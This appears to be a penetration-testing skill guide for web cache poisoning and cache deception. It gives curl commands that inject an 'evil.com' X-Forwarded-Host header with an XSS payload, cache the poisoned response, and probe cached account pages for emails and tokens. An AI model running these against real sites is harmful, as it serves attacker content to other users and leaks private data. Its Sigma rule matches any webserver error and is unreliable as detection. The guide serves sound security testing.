<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-web-cache-poisoning-testing
description: >-
  Test web cache poisoning attacks by identifying unkeyed headers and
  parameters that influence cached responses, enabling XSS, open redirect,
  and denial of service through cache deception and poisoned CDN entries.
domain: cybersecurity
subdomain: application-security
tags:
  - cache-poisoning
  - cdn
  - web-cache
  - xss
  - owasp-a05
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1557", "T1189"]
  owasp-top10: ["A05"]
  tools: ["burpsuite", "curl", "nuclei", "param-miner"]
---

# Performing Web Cache Poisoning Testing

## Overview

Web cache poisoning exploits the gap between cache keys and the full
request. Unkeyed inputs (headers, cookies, query parameters) that influence
the response body can be weaponized to serve malicious content to other
users from the cache. Cache deception tricks caches into storing
authenticated responses.

## Prerequisites

- Tools: Burp Suite with Param Miner, curl, nuclei
- Target behind a caching layer (CDN, reverse proxy, application cache)
- Ability to send custom headers

## Workflow

### Step 1: Identify Caching Behavior

```bash
# Check cache headers
curl -s -D- https://target.com/ | grep -iE \
  'cache-control|x-cache|cf-cache|age|x-varnish|via'

# Send cache buster and compare
curl -s -D- "https://target.com/?cb=test123" | grep -i 'x-cache'
```

### Step 2: Discover Unkeyed Inputs

```bash
# Test common unkeyed headers
for header in X-Forwarded-Host X-Forwarded-Scheme X-Original-URL \
  X-Rewrite-URL X-Forwarded-Port X-Host X-Forwarded-Server; do
  echo "--- $header ---"
  curl -s -D- -H "$header: evil.com" "https://target.com/?cb=$RANDOM" | \
    head -20
done

# Test X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: evil.com" \
  "https://target.com/?cb=$RANDOM" | grep -i evil
```

### Step 3: Exploit Cache Poisoning

```bash
# XSS via X-Forwarded-Host in meta/link tags
curl -s -H 'X-Forwarded-Host: evil.com" onload=alert(1)//' \
  "https://target.com/?cb=$RANDOM"

# Cache the poisoned response
curl -s -H "X-Forwarded-Host: evil.com" https://target.com/

# Verify cached poison serves to clean request
curl -s https://target.com/ | grep evil
```

### Step 4: Test Cache Deception

```bash
# Path confusion: /account followed by static extension
curl -s "https://target.com/account/nonexistent.css" -D- | \
  grep -iE 'x-cache|content-type'

# Verify cached response contains private data
curl -s "https://target.com/account/nonexistent.css" | \
  grep -iE 'email|username|token'
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Unusual headers in requests | WAF logs | X-Forwarded-Host from external clients |
| Cache HIT for dynamic pages | CDN logs | Authenticated pages served from cache |
| Response body mismatch | Integrity monitoring | Cached response differs from origin |

```yaml
title: Web Cache Poisoning Testing Detection
id: ea627ac4-a934-47ec-9aa1-c1ada5f94569
status: experimental
description: Detects suspicious activity related to performing web cache poisoning testing techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1557
  - attack.t1189
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] Cache headers identified and behavior mapped
- [ ] Unkeyed inputs tested for response influence
- [ ] XSS via cache poisoning validated or ruled out
- [ ] Cache deception tested for authenticated content leakage
- [ ] Vary header properly configured for dynamic content

## References

- [PortSwigger Web Cache Poisoning Research](https://portswigger.net/research/practical-web-cache-poisoning)
- [Web Cache Deception](https://portswigger.net/research/web-cache-deception)
- [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)
